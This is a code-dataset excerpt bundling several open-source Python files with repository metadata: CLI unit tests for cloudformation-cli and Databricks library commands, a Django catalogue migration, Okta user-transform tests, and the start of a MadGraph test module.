
tests/test_generate.py

mumblepins/cloudformation-cli

36cbf02f4a588445709b7b6fea32891d169e3246

[ "Apache-2.0" ]

3

2019-11-18T22:39:25.000Z

2019-11-20T23:22:34.000Z

from unittest.mock import Mock, patch from rpdk.core.cli import main from rpdk.core.project import Project def test_generate_command_generate(capsys): mock_project = Mock(spec=Project) mock_project.type_name = "foo" with patch("rpdk.core.generate.Project", autospec=True, return_value=mock_project): main(args_in=["generate"]) mock_project.load.assert_called_once_with() mock_project.generate.assert_called_once_with(None, None, []) mock_project.generate_docs.assert_called_once_with() out, err = capsys.readouterr() assert not err assert "foo" in out def test_generate_command_generate_with_args(capsys): mock_project = Mock(spec=Project) mock_project.type_name = "foo" with patch("rpdk.core.generate.Project", autospec=True, return_value=mock_project): main( args_in=[ "generate", "--endpoint-url", "http://localhost/3001", "--region", "us-east-1", "--target-schemas", "/files/target-schema.json", "/files/other-target-schema", ] ) mock_project.load.assert_called_once_with() mock_project.generate.assert_called_once_with( "http://localhost/3001", "us-east-1", ["/files/target-schema.json", "/files/other-target-schema"], ) mock_project.generate_docs.assert_called_once_with() out, err = capsys.readouterr() assert not err assert "foo" in out

29.461538

87

0.639687

185

1,532

5.048649

0.275676

0.141328

0.102784

0.12848

0.805139

0.740899

0

0.008621

0.24282

1,532

51

88

30.039216

0.796552

0

0.5

1

0

0.182768

0.100522

0

0.25

1

0.05

false

0

0.075

0

0.125

0

null

0

1

0

1

0

null

0

7

964581f248d3f3dc36804a02b238885d30f79a83

13,531

py

Python

anodos/pflops/migrations/0001_initial.py

abezpalov/anodos.ru

6b905eb44b6f4a54f6e199b80cd714522deed277

[ "MIT" ]

2

2020-04-26T07:28:38.000Z

2022-03-31T14:24:44.000Z

anodos/pflops/migrations/0001_initial.py

abezpalov/anodos.ru

6b905eb44b6f4a54f6e199b80cd714522deed277

[ "MIT" ]

9

2017-12-01T04:43:31.000Z

2022-01-01T13:26:04.000Z

anodos/pflops/migrations/0001_initial.py

abezpalov/anodos.ru

6b905eb44b6f4a54f6e199b80cd714522deed277

[ "MIT" ]

null

# Generated by Django 3.2.9 on 2021-12-21 13:30 import django.contrib.postgres.indexes from django.db import migrations, models import django.db.models.deletion import django.utils.timezone import uuid from django.contrib.postgres.operations import BtreeGinExtension class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ BtreeGinExtension(), migrations.CreateModel( name='Category', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('name', models.TextField(db_index=True)), ('level', models.IntegerField(default=0)), ('order', models.IntegerField(default=0)), ('created', models.DateTimeField(default=django.utils.timezone.now)), ('parent', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.category')), ], options={ 'ordering': ['created'], }, ), migrations.CreateModel( name='Currency', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('key', models.CharField(max_length=32, unique=True)), ('key_digit', models.CharField(default=None, max_length=32, null=True)), ('name', models.TextField(db_index=True, default=None, null=True)), ('html', models.TextField(db_index=True, default=None, null=True)), ('full_name', models.TextField(db_index=True, default=None, null=True)), ('quantity', models.FloatField(default=1.0)), ('rate', models.FloatField(default=1.0)), ], options={ 'ordering': ['key'], }, ), migrations.CreateModel( name='Image', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('file_name', models.TextField(default=None, null=True)), ('created', models.DateTimeField(db_index=True, default=django.utils.timezone.now)), ], options={ 'ordering': ['-created'], }, ), migrations.CreateModel( name='Parameter', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('name', models.TextField(db_index=True, default=None, null=True)), ('description', models.TextField(default=None, null=True)), ('order', models.IntegerField(default=0)), ], options={ 'ordering': ['order'], }, ), migrations.CreateModel( name='ParameterGroup', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('name', models.TextField(db_index=True, default=None, null=True)), ('order', models.IntegerField(default=0)), ], options={ 'ordering': ['order'], }, ), migrations.CreateModel( name='Price', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('value', models.DecimalField(decimal_places=2, max_digits=18)), ('created', models.DateTimeField(default=django.utils.timezone.now)), ('currency', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.currency')), ], options={ 'ordering': ['created'], }, ), migrations.CreateModel( name='Product', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('part_number', models.TextField(db_index=True, default=None, null=True)), ('names_search', models.TextField(db_index=True, default=None, null=True)), ('parameters_search', models.TextField(db_index=True, default=None, null=True)), ('slug', models.TextField(db_index=True, default=None, null=True)), ('name', models.TextField(db_index=True, default=None, null=True)), ('short_name', models.TextField(db_index=True, default=None, null=True)), ('name_rus', models.TextField(db_index=True, default=None, null=True)), ('name_other', models.TextField(db_index=True, default=None, null=True)), ('description', models.TextField(default=None, null=True)), ('warranty', models.TextField(default=None, null=True)), ('ean_128', models.TextField(db_index=True, default=None, null=True)), ('upc', models.TextField(db_index=True, default=None, null=True)), ('pnc', models.TextField(db_index=True, default=None, null=True)), ('hs_code', models.TextField(db_index=True, default=None, null=True)), ('gtin', models.TextField(db_index=True, default=None, null=True)), ('tnved', models.TextField(db_index=True, default=None, null=True)), ('traceable', models.BooleanField(db_index=True, default=None, null=True)), ('quantity', models.IntegerField(default=None, null=True)), ('quantity_great_than', models.BooleanField(db_index=True, default=None, null=True)), ('weight', models.DecimalField(decimal_places=9, default=None, max_digits=18, null=True)), ('width', models.DecimalField(decimal_places=9, default=None, max_digits=18, null=True)), ('height', models.DecimalField(decimal_places=9, default=None, max_digits=18, null=True)), ('depth', models.DecimalField(decimal_places=9, default=None, max_digits=18, null=True)), ('volume', models.DecimalField(decimal_places=9, default=None, max_digits=18, null=True)), ('multiplicity', models.IntegerField(default=None, null=True)), ('content', models.TextField(default=None, null=True)), ('content_loaded', models.DateTimeField(default=None, null=True)), ('images_loaded', models.DateTimeField(default=None, null=True)), ('created', models.DateTimeField(default=django.utils.timezone.now)), ('updated', models.DateTimeField(default=None, null=True)), ('edited', models.DateTimeField(default=None, null=True)), ('category', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.category')), ('price', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.price')), ], options={ 'ordering': ['-created'], }, ), migrations.CreateModel( name='Unit', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('name', models.TextField(db_index=True, default=None, null=True)), ('full_name', models.TextField(db_index=True, default=None, null=True)), ], options={ 'ordering': ['name'], }, ), migrations.CreateModel( name='Vendor', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('name', models.TextField(db_index=True)), ('slug', models.TextField(db_index=True, default=None, null=True)), ], options={ 'ordering': ['name'], }, ), migrations.CreateModel( name='ProductImage', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('source_url', models.TextField(db_index=True, default=None, null=True)), ('file_name', models.TextField(default=None, null=True)), ('created', models.DateTimeField(db_index=True, default=django.utils.timezone.now)), ('product', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.product')), ], options={ 'ordering': ['created'], }, ), migrations.AddField( model_name='product', name='unit', field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.unit'), ), migrations.AddField( model_name='product', name='vendor', field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.vendor'), ), migrations.CreateModel( name='ParameterValue', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('value', models.TextField(db_index=True, default=None, null=True)), ('created', models.DateTimeField(db_index=True, default=django.utils.timezone.now)), ('parameter', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.parameter')), ('product', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.product')), ('unit', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.unit')), ], options={ 'ordering': ['created'], }, ), migrations.AddField( model_name='parameter', name='group', field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='pflops.parametergroup'), ), migrations.CreateModel( name='CatalogElement', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('title', models.TextField(db_index=True)), ('slug', models.TextField(db_index=True, default=None, null=True)), ('path', models.TextField(db_index=True, default=None, null=True)), ('content', models.TextField(default=None, null=True)), ('description', models.TextField(default=None, null=True)), ('created', models.DateTimeField(db_index=True, default=django.utils.timezone.now)), ('edited', models.DateTimeField(db_index=True, default=None, null=True)), ('published', models.DateTimeField(db_index=True, default=None, null=True)), ('image', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.image')), ('parent', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.catalogelement')), ], options={ 'ordering': ['-created'], }, ), migrations.CreateModel( name='Article', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('title', models.TextField(db_index=True)), ('slug', models.TextField(db_index=True, default=None, null=True)), ('path', models.TextField(db_index=True, default=None, null=True)), ('content', models.TextField(default=None, null=True)), ('description', models.TextField(default=None, null=True)), ('assistant', models.BooleanField(db_index=True, default=False)), ('created', models.DateTimeField(db_index=True, default=django.utils.timezone.now)), ('edited', models.DateTimeField(db_index=True, default=None, null=True)), ('published', models.DateTimeField(db_index=True, default=None, null=True)), ('image', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.image')), ('parent', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='pflops.catalogelement')), ], options={ 'ordering': ['-created'], }, ), migrations.AddIndex( model_name='product', index=django.contrib.postgres.indexes.GinIndex(fields=['names_search', 'parameters_search'], name='product_search_idx'), ), ]

55.004065

163

0.578745

1,359

13,531

5.663723

0.105224

0.073795

0.124724

0.157984

0.856048

0.841237

0.783162

0.758997

0.73756

0.67208

0

0.006171

0.269455

13,531

245

164

55.228571

0.772484

0.003326

0

0.617647

1

0

0.094705

0.004672

0

1

0

false

0

0.02521

0

0.042017

0

null

0

1

0

1

0

null

0

7

96a31767e6d4518787d97f43eb18f76c138512fe

13,208

py

Python

tests/libraries/test_cli.py

arulajmani/databricks-cli

2740846d8a88605747677d3ee9dd7222ab825bac

[ "Apache-2.0" ]

1

2020-02-08T16:42:02.000Z

tests/libraries/test_cli.py

arulajmani/databricks-cli

2740846d8a88605747677d3ee9dd7222ab825bac

[ "Apache-2.0" ]

null

tests/libraries/test_cli.py

arulajmani/databricks-cli

2740846d8a88605747677d3ee9dd7222ab825bac

[ "Apache-2.0" ]

null

# Databricks CLI # Copyright 2017 Databricks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"), except # that the use of services to which certain application programming # interfaces (each, an "API") connect requires that the user first obtain # a license for the use of the APIs from Databricks, Inc. ("Databricks"), # by creating an account at www.databricks.com and agreeing to either (a) # the Community Edition Terms of Service, (b) the Databricks Terms of # Service, or (c) another written agreement between Licensee and Databricks # for the use of the APIs. # # You may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # pylint:disable=redefined-outer-name import itertools import mock import pytest from click.testing import CliRunner import databricks_cli.libraries.cli as cli from databricks_cli.utils import pretty_format from tests.utils import provide_conf, assert_cli_output TEST_CLUSTER_ID = '0213-212348-veeps379' ALL_CLUSTER_STATUSES_RETURN = { 'statuses': [{ 'library_statuses': [{ 'status': 'INSTALLED', 'is_library_for_all_clusters': False, 'library': { 'jar': 'dbfs:/test.jar' } }], 'cluster_id': TEST_CLUSTER_ID }] } @pytest.fixture() def libraries_api_mock(): with mock.patch('databricks_cli.libraries.cli.LibrariesApi') as LibrariesApi: _libraries_api_mock = mock.MagicMock() LibrariesApi.return_value = _libraries_api_mock yield _libraries_api_mock @provide_conf def test_all_cluster_statuses_cli(libraries_api_mock): libraries_api_mock.all_cluster_statuses.return_value = ALL_CLUSTER_STATUSES_RETURN runner = CliRunner() res = runner.invoke(cli.all_cluster_statuses_cli) libraries_api_mock.all_cluster_statuses.assert_called_once() assert_cli_output(res.output, pretty_format(ALL_CLUSTER_STATUSES_RETURN)) @provide_conf def test_list_cli_without_cluster_id(libraries_api_mock): libraries_api_mock.all_cluster_statuses.return_value = ALL_CLUSTER_STATUSES_RETURN runner = CliRunner() res = runner.invoke(cli.list_cli) libraries_api_mock.all_cluster_statuses.assert_called_once() assert_cli_output(res.output, pretty_format(ALL_CLUSTER_STATUSES_RETURN)) CLUSTER_STATUS_RETURN = { 'library_statuses': [{ 'status': 'INSTALLED', 'is_library_for_all_clusters': False, 'library': { 'jar': 'dbfs:/test.jar', } }], 'cluster_id': '0213-212348-veeps379' } @provide_conf def test_cluster_status_cli(libraries_api_mock): libraries_api_mock.cluster_status.return_value = CLUSTER_STATUS_RETURN runner = CliRunner() res = runner.invoke(cli.cluster_status_cli, ['--cluster-id', TEST_CLUSTER_ID]) libraries_api_mock.cluster_status.assert_called_with(TEST_CLUSTER_ID) assert_cli_output(res.output, pretty_format(CLUSTER_STATUS_RETURN)) @provide_conf def test_list_cli_with_cluster_id(libraries_api_mock): libraries_api_mock.cluster_status.return_value = CLUSTER_STATUS_RETURN runner = CliRunner() res = runner.invoke(cli.list_cli, ['--cluster-id', TEST_CLUSTER_ID]) libraries_api_mock.cluster_status.assert_called_with(TEST_CLUSTER_ID) assert_cli_output(res.output, pretty_format(CLUSTER_STATUS_RETURN)) @provide_conf def test_install_cli_with_multiple_oneof(libraries_api_mock): for lib_a, lib_b in itertools.combinations(cli.INSTALL_OPTIONS, 2): runner = CliRunner() res = runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--{}'.format(lib_a), 'test_a', '--{}'.format(lib_b), 'test_b']) libraries_api_mock.install_libraries.assert_not_called() assert 'Only one of {} should be provided'.format(cli.INSTALL_OPTIONS) in res.output @provide_conf def test_install_cli_jar(libraries_api_mock): test_jar = 'dbfs:/test.jar' runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--jar', test_jar]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{'jar': test_jar}]) @provide_conf def test_install_cli_egg(libraries_api_mock): test_egg = 'dbfs:/test.egg' runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--egg', test_egg]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{'egg': test_egg}]) @provide_conf def test_install_cli_wheel(libraries_api_mock): test_wheel = 'dbfs:/test.whl' runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--whl', test_wheel]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{'whl': test_wheel}]) @provide_conf def test_install_cli_maven(libraries_api_mock): test_maven_coordinates = 'org.jsoup:jsoup:1.7.2' test_maven_repo = 'https://maven.databricks.com' test_maven_exclusions = ['a', 'b'] # Coordinates runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--maven-coordinates', test_maven_coordinates]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'maven': { 'coordinates': test_maven_coordinates } }]) # Coordinates, Repo runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--maven-coordinates', test_maven_coordinates, '--maven-repo', test_maven_repo]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'maven': { 'coordinates': test_maven_coordinates, 'repo': test_maven_repo } }]) # Coordinates, Repo, Exclusions runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--maven-coordinates', test_maven_coordinates, '--maven-repo', test_maven_repo, '--maven-exclusion', test_maven_exclusions[0], '--maven-exclusion', test_maven_exclusions[1]]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'maven': { 'coordinates': test_maven_coordinates, 'repo': test_maven_repo, 'exclusions': test_maven_exclusions } }]) @provide_conf def test_install_cli_pypi(libraries_api_mock): test_pypi_package = 'databricks-cli' test_pypi_repo = 'https://pypi.databricks.com' # Coordinates runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--pypi-package', test_pypi_package, '--pypi-repo', test_pypi_repo]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'pypi': { 'package': test_pypi_package, 'repo': test_pypi_repo } }]) @provide_conf def test_install_cli_cran(libraries_api_mock): test_cran_package = 'cran-package' test_cran_repo = 'https://cran.databricks.com' # Coordinates runner = CliRunner() runner.invoke(cli.install_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--cran-package', test_cran_package, '--cran-repo', test_cran_repo]) libraries_api_mock.install_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'cran': { 'package': test_cran_package, 'repo': test_cran_repo } }]) @provide_conf def test_uninstall_cli_with_multiple_oneof(libraries_api_mock): for lib_a, lib_b in itertools.combinations(cli.INSTALL_OPTIONS, 2): runner = CliRunner() res = runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--{}'.format(lib_a), 'test_a', '--{}'.format(lib_b), 'test_b']) libraries_api_mock.uninstall_libraries.assert_not_called() assert 'Only one of {} should be provided'.format(cli.UNINSTALL_OPTIONS) in res.output @provide_conf def test_uninstall_cli_all(libraries_api_mock): test_jar = 'dbfs:/test.jar' runner = CliRunner() libraries_api_mock.cluster_status.return_value = { "library_statuses": [ { "status": "INSTALLED", "is_library_for_all_clusters": False, "library": { "jar": test_jar } } ], "cluster_id": TEST_CLUSTER_ID, } runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--all']) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{'jar': test_jar}]) @provide_conf def test_uninstall_cli_all_for_no_libraries(libraries_api_mock): runner = CliRunner() libraries_api_mock.cluster_status.return_value = { "library_statuses": [ ], "cluster_id": TEST_CLUSTER_ID, } runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--all']) libraries_api_mock.uninstall_libraries.assert_not_called() @provide_conf def test_uninstall_cli_jar(libraries_api_mock): test_jar = 'dbfs:/test.jar' runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--jar', test_jar]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{'jar': test_jar}]) @provide_conf def test_uninstall_cli_egg(libraries_api_mock): test_egg = 'dbfs:/test.egg' runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--egg', test_egg]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{'egg': test_egg}]) @provide_conf def test_uninstall_cli_whl(libraries_api_mock): test_whl = 'dbfs:/test.whl' runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--whl', test_whl]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{'whl': test_whl}]) @provide_conf def test_uninstall_cli_maven(libraries_api_mock): test_maven_coordinates = 'org.jsoup:jsoup:1.7.2' test_maven_repo = 'https://maven.databricks.com' test_maven_exclusions = ['a', 'b'] # Coordinates runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--maven-coordinates', test_maven_coordinates]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'maven': { 'coordinates': test_maven_coordinates } }]) # Coordinates, Repo runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--maven-coordinates', test_maven_coordinates, '--maven-repo', test_maven_repo]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'maven': { 'coordinates': test_maven_coordinates, 'repo': test_maven_repo } }]) # Coordinates, Repo, Exclusions runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--maven-coordinates', test_maven_coordinates, '--maven-repo', test_maven_repo, '--maven-exclusion', test_maven_exclusions[0], '--maven-exclusion', test_maven_exclusions[1]]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'maven': { 'coordinates': test_maven_coordinates, 'repo': test_maven_repo, 'exclusions': test_maven_exclusions } }]) @provide_conf def test_uninstall_cli_pypi(libraries_api_mock): test_pypi_package = 'databricks-cli' test_pypi_repo = 'https://pypi.databricks.com' # Coordinates runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--pypi-package', test_pypi_package, '--pypi-repo', test_pypi_repo]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'pypi': { 'package': test_pypi_package, 'repo': test_pypi_repo } }]) @provide_conf def test_uninstall_cli_cran(libraries_api_mock): test_cran_package = 'cran-package' test_cran_repo = 'https://cran.databricks.com' # Coordinates runner = CliRunner() runner.invoke(cli.uninstall_cli, [ '--cluster-id', TEST_CLUSTER_ID, '--cran-package', test_cran_package, '--cran-repo', test_cran_repo]) libraries_api_mock.uninstall_libraries.assert_called_with(TEST_CLUSTER_ID, [{ 'cran': { 'package': test_cran_package, 'repo': test_cran_repo } }])

34.217617

99

0.685645

1,624

13,208

5.19335

0.105911

0.077899

0.102442

0.059284

0.832108

0.826773

0.802585

0.785037

0.767963

0.765355

0

0.004357

0.200712

13,208

385

100

34.306494

0.794544

0.092898

0

0.725166

0

0.141458

0.013727

0

0.102649

1

0.069536

false

0

0.023179

0

0.092715

0

null

0

1

0

1

0

null

0

7

737e2d4b6b73982878a4c876ce9847472ba73d8d

110

py

Python

pymudata/utils.py

b3by/pymudata

41cc3b144c78da7f50e0942767cd6b19f19fa97b

[ "MIT" ]

null

pymudata/utils.py

b3by/pymudata

41cc3b144c78da7f50e0942767cd6b19f19fa97b

[ "MIT" ]

null

pymudata/utils.py

b3by/pymudata

41cc3b144c78da7f50e0942767cd6b19f19fa97b

[ "MIT" ]

null

from .activity import Activity def from_file(file_path, **kwargs): return Activity(file_path, **kwargs)

18.333333

40

0.745455

15

110

5.266667

0.533333

0.202532

0.35443

0

0.145455

110

5

41

22

0.840426

0

1

0.333333

false

0

0.333333

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

7383611f7721d00913ff4d2a677b289f81483afc

5,200

py

Python

tests/unit/cartography/intel/okta/test_user.py

sckevmit/cartography

fefb63b5ec97986dcc29038331d0e5b027b95d5f

[ "Apache-2.0" ]

2,322

2019-03-02T01:07:20.000Z

2022-03-31T20:39:12.000Z

tests/unit/cartography/intel/okta/test_user.py

sckevmit/cartography

fefb63b5ec97986dcc29038331d0e5b027b95d5f

[ "Apache-2.0" ]

462

2019-03-07T18:38:11.000Z

2022-03-31T14:55:20.000Z

tests/unit/cartography/intel/okta/test_user.py

sckevmit/cartography

fefb63b5ec97986dcc29038331d0e5b027b95d5f

[ "Apache-2.0" ]

246

2019-03-03T02:39:23.000Z

2022-02-24T09:46:38.000Z

from cartography.intel.okta.users import transform_okta_user from tests.data.okta.users import create_test_user def test_user_transform_with_all_values(): user = create_test_user() result = transform_okta_user(user) expected = { 'id': user.id, 'activated': '01/01/2019, 00:00:01', 'created': '01/01/2019, 00:00:01', 'status_changed': '01/01/2019, 00:00:01', 'last_login': '01/01/2019, 00:00:01', 'okta_last_updated': '01/01/2019, 00:00:01', 'password_changed': '01/01/2019, 00:00:01', 'transition_to_status': user.transitioningToStatus, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected def test_userprofile_transform_with_no_activated(): user = create_test_user() user.activated = None result = transform_okta_user(user) expected = { 'id': user.id, 'activated': None, 'created': '01/01/2019, 00:00:01', 'status_changed': '01/01/2019, 00:00:01', 'last_login': '01/01/2019, 00:00:01', 'okta_last_updated': '01/01/2019, 00:00:01', 'password_changed': '01/01/2019, 00:00:01', 'transition_to_status': user.transitioningToStatus, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected def test_userprofile_transform_with_no_status_changed(): user = create_test_user() user.statusChanged = None result = transform_okta_user(user) expected = { 'id': user.id, 'activated': '01/01/2019, 00:00:01', 'created': '01/01/2019, 00:00:01', 'status_changed': None, 'last_login': '01/01/2019, 00:00:01', 'okta_last_updated': '01/01/2019, 00:00:01', 'password_changed': '01/01/2019, 00:00:01', 'transition_to_status': user.transitioningToStatus, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected def test_userprofile_transform_with_no_last_login(): user = create_test_user() user.lastLogin = None result = transform_okta_user(user) expected = { 'id': user.id, 'activated': '01/01/2019, 00:00:01', 'created': '01/01/2019, 00:00:01', 'status_changed': '01/01/2019, 00:00:01', 'last_login': None, 'okta_last_updated': '01/01/2019, 00:00:01', 'password_changed': '01/01/2019, 00:00:01', 'transition_to_status': user.transitioningToStatus, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected def test_userprofile_transform_with_no_last_updated(): user = create_test_user() user.lastUpdated = None result = transform_okta_user(user) expected = { 'id': user.id, 'activated': '01/01/2019, 00:00:01', 'created': '01/01/2019, 00:00:01', 'status_changed': '01/01/2019, 00:00:01', 'last_login': '01/01/2019, 00:00:01', 'okta_last_updated': None, 'password_changed': '01/01/2019, 00:00:01', 'transition_to_status': user.transitioningToStatus, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected def test_userprofile_transform_with_no_password_changed(): user = create_test_user() user.passwordChanged = None result = transform_okta_user(user) expected = { 'id': user.id, 'activated': '01/01/2019, 00:00:01', 'created': '01/01/2019, 00:00:01', 'status_changed': '01/01/2019, 00:00:01', 'last_login': '01/01/2019, 00:00:01', 'okta_last_updated': '01/01/2019, 00:00:01', 'password_changed': None, 'transition_to_status': user.transitioningToStatus, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected def test_userprofile_transform_with_no_transition_status(): user = create_test_user() user.transitioningToStatus = None result = transform_okta_user(user) expected = { 'id': user.id, 'activated': '01/01/2019, 00:00:01', 'created': '01/01/2019, 00:00:01', 'status_changed': '01/01/2019, 00:00:01', 'last_login': '01/01/2019, 00:00:01', 'okta_last_updated': '01/01/2019, 00:00:01', 'password_changed': '01/01/2019, 00:00:01', 'transition_to_status': None, 'login': user.profile.login, 'email': user.profile.email, 'last_name': user.profile.lastName, 'first_name': user.profile.firstName, } assert result == expected

30.588235

60

0.616538

666

5,200

4.611111

0.070571

0.048193

0.096386

0.120482

0.902963

0.874308

0.855422

0

0.129955

0.233462

5,200

169

61

30.769231

0.640492

0

0.791045

0

0.309231

0

0.052239

1

0.052239

false

0.067164

0.014925

0

0.067164

0

null

0

1

0

1

0

null

0

1

0

8

7388f6569369d7c2f4b72311b7c39b308316d0f6

160,950

py

Python

tests/unit_tests/core/test_diagram_generation.py

valassi/mg5amc_test

2e04f23353051f64e1604b23105fe3faabd32869

[ "NCSA" ]

1

2016-07-09T00:05:56.000Z

tests/unit_tests/core/test_diagram_generation.py

valassi/mg5amc_test

2e04f23353051f64e1604b23105fe3faabd32869

[ "NCSA" ]

4

2022-03-10T09:13:31.000Z

2022-03-30T16:15:01.000Z

tests/unit_tests/core/test_diagram_generation.py

valassi/mg5amc_test

2e04f23353051f64e1604b23105fe3faabd32869

[ "NCSA" ]

1

2016-07-09T00:06:15.000Z

################################################################################ # # Copyright (c) 2009 The MadGraph5_aMC@NLO Development team and Contributors # # This file is a part of the MadGraph5_aMC@NLO project, an application which # automatically generates Feynman diagrams and matrix elements for arbitrary # high-energy processes in the Standard Model and beyond. # # It is subject to the MadGraph5_aMC@NLO license which should accompany this # distribution. # # For more information, visit madgraph.phys.ucl.ac.be and amcatnlo.web.cern.ch # ################################################################################ """Unit test library for the various base objects of the core library""" from __future__ import absolute_import import copy import itertools import logging import math import tests.unit_tests as unittest import madgraph.core.base_objects as base_objects import madgraph.core.diagram_generation as diagram_generation import models.import_ufo as import_ufo from madgraph import MadGraph5Error, InvalidCmd from six.moves import range from six.moves import zip #=============================================================================== # AmplitudeTest #=============================================================================== class AmplitudeTest(unittest.TestCase): """Test class for routine functions of the Amplitude object""" mydict = {} myamplitude = None myleglist = base_objects.LegList([base_objects.Leg({'id':3, 'number':5, 'state':True, 'from_group':False})] * 10) myvertexlist = base_objects.VertexList([base_objects.Vertex({'id':3, 'legs':myleglist})] * 10) 